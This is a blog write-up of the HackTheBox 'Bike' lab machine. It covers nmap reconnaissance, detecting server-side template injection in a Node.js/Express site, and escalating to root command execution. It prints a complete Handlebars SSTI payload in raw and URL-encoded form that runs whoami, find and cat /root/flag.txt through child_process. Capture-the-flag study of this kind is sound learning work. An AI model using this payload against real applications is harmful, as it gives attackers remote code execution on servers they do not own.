Skip to main content

Bike (HackTheBox)

Target IP Address: 10.129.23.248

Tasks

  1. What TCP ports does nmap identify as open? Answer with a list of ports seperated by commas with no spaces, from low to high. Ans: 22, 80

Initial Recon

└──╼ []$ nmap -sC -sV -p- -oN initial_recon.txt 10.129.23.248 -v -T4 --min-rate 5000

Result:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
...
80/tcp open  http    Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title:  Bike 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  1. What software is running the service listening on the http/web port identified in the first question? Ans: Node.js

Answer: Node.js

  1. What is the name of the Web Framework according to Wappalyzer? Ans: Express
  1. What is the name of the vulnerability we test for by submitting {{7*7}}? Ans: Server Side Template Injection

Output:

  1. What is the templating engine being used within Node.JS?

    • Based on the output of testing SSTI and searching, Handlebars is a templating engine
  2. What is the name of the BurpSuite tab used to encode text? Ans: Decoder

  1. In order to send special characters in our payload in an HTTP request, we’ll encode the payload. What type of encoding do we use? Ans: URL

Answer: URL

  1. When we use a payload from HackTricks to try to run system commands, we get an error back. What is “not defined” in the response error? Ans: Require
  • First, go to HackTricks for pentesting SSTI
  • The following code are to be sent via URL encoded:
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
  • URL Encoded will be: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

  • Site thrown an error:

  1. What variable is the name of the top-level scope in Node.JS? Ans: global

Explanation:

The error require is not defined indicates that you are likely attacking a Handlebars (Node.js) environment where the Global Environment or the require function is restricted or not directly accessible within the template’s context.

Modern Handlebars implementations, especially those used in secure web applications or specific versions used in HTB (like in the “Templated” or “Unified” challenges), often run in a “secure” sandbox or simply don’t have the require helper registered by default.

In Node.js, require is a global-like variable, but it isn’t always available inside a template’s scope. If the developer didn’t explicitly pass require into the template context, or if the template engine is running in a limited execution environment, the call to require('child_process') will throw a ReferenceError.

  1. By exploiting this vulnerability, we get command execution as the user that the webserver is running as. What is the name of that user? Ans: root
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami').toString();"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Response:

Getting root flag

Finding flag.txt

  • First, change the {{this.push "return process.mainModule.require('child_process').execSync('whoami').toString();"}} snippet of payload to {{this.push "return process.mainModule.require('child_process').execSync('find / -name flag.txt').toString();"}}
  • Now, cat the flag by changing the execSync to execSync('cat /root/flag.txt')

The flag.txt:

Royce Chua
Author
Royce Chua
Career changer with a background in physics and medicine, now working toward systems administration and network engineering. ISC2 Certified in Cybersecurity (CC), with Cisco CCNA studies in progress.

Related